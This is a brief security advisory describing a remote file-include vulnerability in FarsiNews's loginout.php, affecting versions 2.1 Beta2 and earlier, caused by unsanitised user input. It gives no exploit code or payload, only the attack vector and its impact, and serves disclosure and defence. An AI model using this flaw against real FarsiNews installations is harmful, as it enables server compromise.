Discussion
FarsiNews Loginout.PHP Remote File Include Vulnerability
FarsiNews is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
This issue is reported to affect versions 2.1 Beta2 and earlier.
